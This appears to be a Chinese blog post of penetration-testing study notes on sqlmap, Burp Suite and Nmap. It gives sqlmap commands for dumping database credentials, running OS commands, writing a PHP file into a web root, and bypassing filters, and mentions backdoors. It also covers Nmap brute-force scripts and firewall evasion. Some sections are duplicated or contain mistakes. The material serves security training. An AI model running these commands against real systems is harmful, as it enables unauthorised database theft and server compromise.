网络安全渗透

Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQLOracle, PostgreSQL, SQL Server,  Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap安装

1)安装sqlmap前,需要先安装 Python3.X

下载地址:https://www.python.org/downloads/windows/

2)在环境变量path中,增加python3.x安装路径

(3)下载sqlmap并解压缩:在环境变量path中,增加python3.x安装路径

     地址:sqlmap: automatic SQL injection and database takeover tool

  •   Python sqlmap.py –u http://xxx.xxx.xxx/

 Python sqlmap.py  --help 查看帮助

 sqlmap支持五种不同的注入模式:

Ø UNION query SQL injection (可联合查询注入)
Ø uError -based SQL injection (报错型注入)
Ø uBoolean -based blind SQL injection (布尔型注入)
Ø uTime -based blind SQL injection (基于时间延迟注入)
Ø uStacked queries SQL injection (可多语句查询注入)

2.sqlmap 常用命令参数

-u  /--url  最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

设置回显等级

参数: -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload(级别越高显示信息越多)

--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie (用于区分用户)

可能会有漏洞,当web登录时,抓取数据包。

设定探测等级

--level

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中,目前连接的用户

--is-dba 判断当前是否为管理,是的话返回true

--proxy 指定一个代理服务器  eg: -proxy http://xxxxxx.8080

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限

Sqlmap“六步”

第一步:判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)

检测该网站是否存在漏洞   白色加粗字体为注入点 也就是攻击对象

 第二步:获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

第三步:查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”  --current-db

 四:列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

五:读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

 六:读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)

 --level 探测等级

一共有5个等级,默认是1。

sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。

http cookie在2级时可以检测

HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限:

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE  ,那么权限该用户很大。

roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

-referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

--sql-shell 运行自定义的sql语句

--sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令:

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

–file-read 从数据库服务器中读取文件

 该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

 –file-write –file-dest 上传文件到数据库服务器中

  该命令用于写入本地文件到服务器中

Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1   --file-write  ‘c:\user\cisp-pte\desktop\xie1.php’  --file-dest ‘c:\phpstudy\www\wwwroot\xie.php

--os-cmd=whoami

--os-shell

(以你的电脑为跳板,对局域网进行渗透,或留后门)

--file-read 从数据库服务器中读取文件  :--sql-shell 运行自定义的sql语句当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

上传文件到数据库服务器中:

--file-write

--file-dest

读取指定数据库用户的密码  --passwords -U root

SQLMAP进阶 常用tamper脚本

 apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)

 multiplespaces.py  围绕sql关键字添加多个空格 去绕过

Burpsuite

Burp 一、Burpsuite配置及代理设置SuiteBurp Suite

1. Burpsuite使用前配置

二、Burpsuit功能模块讲解

1. Send to spider 发送给 爬虫 模块
2. DO a active scan 进行一次 主动扫描                        

3.Send to intruder 发送给爆破模块

4.Send to repearter 发送给重放模块

5. Send to comparer 发送给 比对 模块
6. Send to decoder 发送给 解码 模块
7. Request in browser 将请求在 浏览器重放

 1.2 Proxy模块àOPTION选项卡

 1.2.1 Proxy模块à导入证书代理HTTPS流量

 1.2 User option模块 解决HTTP返回信息中的乱码问题

 1.3 Scaner模块

 1.4 Intruder模块  爆破模式选择

1. Sniper              单变量爆破
2. Battering ram 发送给 重放 模块
3. Pitch fork        多变量同时爆破(无循环)

 //即多个字典同时滚动

4.Cluster bomb  多变量循环爆破(有循环) 

//即基于多个字典循环遍历

信息收集

主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。

Namp

  • 端口扫描:Nmap

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现

-v 显示信息的级别,-vv显示更详细的信息

192.168.1.1/24 扫描C段   192.168.11 -254 =上

       nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)

       --------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)

       --------------- -----------------excludefile  ~/targets.txt

       nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站

       nmap –traceroute 192.168.1.1   探测路由

       nmap -O 192.168.1.1                 对目标进行指纹识别

       nmap -sV    ----------         对版本进行探测

       nmap -sF -T4 192.168.1.1         利用fin包对端口进行扫描,识别是否被关闭,收到RST包, 被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)

1. Nmap的基本

Nmap + ip 6+ ip

Nmap -A 开启操作系统识别和版本识别功能

– T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现

-v 显示信息的级别,-vv显示更详细的信息

192.168.1.1/24 扫描C段   192.168.11 -254 =上

       nmap -A -T4 -v -iL   ~/targets.txt   (iL表示要扫描的目标位于一个文档中)

       --------------- 192.168.1.1/24  --exclude 192.168.1.100  (排除在外的目标 .100)

       --------------- -----------------excludefile  ~/targets.txt

       nmap 192.168.1.1   -p 80.443 网站  是否在这个端口部署网站

       nmap –traceroute 192.168.1.1   探测路由

       nmap -O 192.168.1.1                 对目标进行指纹识别

       nmap -sV    ----------         对版本进行探测

       nmap -sF -T4 192.168.1.1         利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。  (利用三次握手,可以绕开防火墙)

状态

说明

open

应用程序在该端口接收 TCP 连接或者 UDP 报文

closed

关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听

filtered

由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙

unfiltered

未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态

open | filtered

无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDPIP协议, FIN, Null 等扫描会引起。

      

扫描脚本介绍:

位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts

脚本类型:

 

       nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令

       -----------=brute+ip 暴力破解

nmap --script=auth 192.168.137.*

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*

提供暴力破解的方式  可对数据库,

  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值